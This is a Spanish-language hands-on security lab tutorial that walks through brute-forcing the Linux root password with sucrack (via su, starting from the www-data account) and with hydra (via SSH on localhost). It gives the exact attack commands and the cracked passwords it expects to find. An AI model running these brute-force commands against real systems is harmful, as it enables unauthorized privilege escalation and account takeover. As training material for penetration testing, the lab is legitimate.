Introducción
En este laboratorio, exploraremos dos métodos y herramientas correspondientes para obtener la contraseña del usuario root mediante ataques de fuerza bruta en sistemas Linux. El laboratorio te ayudará a comprender los principios subyacentes y evitar errores comunes durante el proceso.
Usar sucrack para forzar la contraseña de root a través del comando su
En este paso, aprenderemos cómo utilizar la herramienta sucrack para forzar la contraseña del usuario root a través del comando su.
El comando su se utiliza para cambiar a la identidad de otro usuario en sistemas Linux. Excepto el usuario root, otros usuarios deben proporcionar la contraseña del usuario objetivo al utilizar este comando.
La herramienta que utilizaremos para forzar el comando su es sucrack. sucrack es una herramienta Linux multihilo diseñada para forzar las contraseñas de usuarios locales a través del comando su.
Dado que el comando su requiere entrada de usuario desde una shell TTY, un simple script de shell no puede realizar el ataque de fuerza bruta. sucrack está escrito en lenguaje C y admite multihilo, lo que hace que el proceso de fuerza bruta sea altamente eficiente.
Puedes consultar el sitio web oficial de sucrack para obtener más información.
En un escenario del mundo real, la máquina objetivo puede no tener acceso a Internet, por lo que puedes instalar sucrack utilizando uno de los siguientes dos métodos:
- Descargar el código fuente de
sucracky cargarlo en la máquina objetivo, luego compilarlo y ejecutarlo. - Descargar el código fuente de
sucrack, compilarlo localmente y luego cargar el binario compilado en la máquina objetivo.
En este laboratorio, ya hemos instalado sucrack para ti.
Antes de intentar el ataque de fuerza bruta, configuraremos el entorno del laboratorio:
Abre una terminal y navega al directorio del proyecto:
cd /home/labex/projectEjecuta el script
env_setup_1.shpara configurar el entorno del laboratorio:./env_setup_1.shEste script nos cambia al usuario no privilegiado
www-data. Nuestro objetivo es obtener la contraseña del usuariorootmediante fuerza bruta.Tenemos una lista de palabras pre - preparada en
/tmp/common-wordlists.txtcon fines de demostración. También puedes utilizar tu propia lista de palabras.La sintaxis para realizar un ataque de fuerza bruta al comando
suutilizandosucrackes:sucrack -w <threads> [-u <username>] <wordlist>Los parámetros son:
-w: Especifica el número de hilos<wordlist>: Especifica el archivo de la lista de palabras-u: Especifica el nombre de usuario a forzar. Si no especificas un nombre de usuario,sucrackforzará la contraseña del usuariorootpor defecto.
Intentemos realizar un ataque de fuerza bruta ejecutando el siguiente comando:
sucrack -w 20 /tmp/common-wordlists.txt > ~/sucrack.log && resetLa salida del ataque de fuerza bruta se redirige al archivo
sucrack.log.Nota: El comando
resetse utiliza para limpiar la pantalla de la terminal porque a veces después de usarsucrack, la terminal puede no mostrarse correctamente.Este ataque de fuerza bruta puede tomar algún tiempo. Después de un tiempo, verifica el archivo
sucrack.logpara confirmar la contraseña:cat ~/sucrack.logSalida esperada:
password is: reallyLuego, podemos cambiar al usuario root utilizando:
su - rootIngresa la contraseña
reallypara cambiar al usuario root.reallyCrea un archivo llamado
success_1.txten el directorio/rootpara confirmar que has cambiado exitosamente al usuario root:echo "Success_1" > /root/success_1.txtPuedes verificar el archivo
/root/success_1.txtpara confirmar que has cambiado exitosamente al usuario root.
Has aprendido cómo utilizar sucrack para forzar la contraseña del usuario root.
Usar Hydra para forzar la contraseña de root a través de SSH
En este paso, aprenderemos cómo utilizar la herramienta hydra para forzar la contraseña del usuario root a través del protocolo SSH.
Con el paso anterior, todavía deberíamos ser el usuario root, y para este paso necesitamos cambiar al usuario labex. Puedes cambiar al usuario labex ejecutando el siguiente comando:
su - labex
Asegúrate de que el directorio esté configurado en
/home/labex/project:cd /home/labex/projectEjecuta el script
env_setup_2.shpara configurar el entorno del laboratorio:./env_setup_2.shAl igual que en el paso anterior, después de ejecutar este script, cambiarás al usuario
www-data.Antes de intentar forzar el protocolo SSH, necesitamos verificar si la máquina objetivo permite que el usuario root inicie sesión a través de SSH. Puedes verificar esto ejecutando el siguiente comando:
cat /etc/ssh/sshd_config | grep -i permitrootloginSi la salida muestra que
PermitRootLoginestá configurado enyes, entonces podemos continuar con el ataque de fuerza bruta. De lo contrario, no es necesario intentarlo.La herramienta que utilizaremos para forzar el protocolo SSH es
hydra.hydraes una conocida herramienta de fuerza bruta que admite varios protocolos, incluyendo RDP, SMB, HTTP, MySQL y más.hydraestá preinstalado en Kali Linux y en el entorno de Ubuntu de nuestro laboratorio.La sintaxis para forzar el protocolo SSH utilizando
hydraes:hydra -l root -P passwords.txt -t 4 -V < IP > sshLos parámetros son:
-l: Especifica el nombre de usuario-P: Especifica el archivo de la lista de palabras-t: Especifica el número de hilos-V: Muestra el progreso y los detalles del ataque de fuerza bruta
Intentemos forzar la contraseña del usuario root utilizando la lista de palabras
/tmp/common-wordlists.txty guardar la salida en el archivohydra.log:hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh > ~/hydra.logDespués de algún tiempo, la contraseña del usuario root se descifra con éxito.
Verifica el archivo
hydra.logpara confirmar la contraseña:cat ~/hydra.logEjemplo de salida:
... [22][ssh] host: 127.0.0.1 login: root password: penguin 1 of 1 target successfully completed, 1 valid password found ...Ahora que tenemos la contraseña del usuario root, podemos cambiar al usuario root ejecutando el siguiente comando:
su - rootIngresa la contraseña
penguinpara cambiar al usuario root.penguinAhora debes ser el usuario root. Puedes confirmar esto ejecutando el siguiente comando:
whoamiLa salida debe ser
root.Crea un archivo llamado
success_2.txten el directorio/rootpara confirmar que has cambiado exitosamente al usuario root:echo "Success_2" > /root/success_2.txtPuedes verificar el archivo
/root/success_2.txtpara confirmar que has cambiado exitosamente al usuario root.
Nota: Si estás utilizando una versión de hydra anterior a la v9.0, puede reportar falsos positivos al forzar el protocolo SSH. Puedes verificar la versión de hydra ejecutando hydra -v.
Resumen
En este laboratorio, aprendimos dos métodos para forzar la contraseña del usuario root en sistemas Linux: a través del comando su utilizando la herramienta sucrack, y a través del protocolo SSH utilizando la herramienta hydra. Cubrimos la instalación, el uso y los procedimientos paso a paso de cada método, lo que te ayudará a comprender los principios subyacentes y evitar errores comunes. Este laboratorio proporciona una valiosa experiencia práctica en técnicas de escalada de privilegios, que se pueden aplicar en diversos escenarios.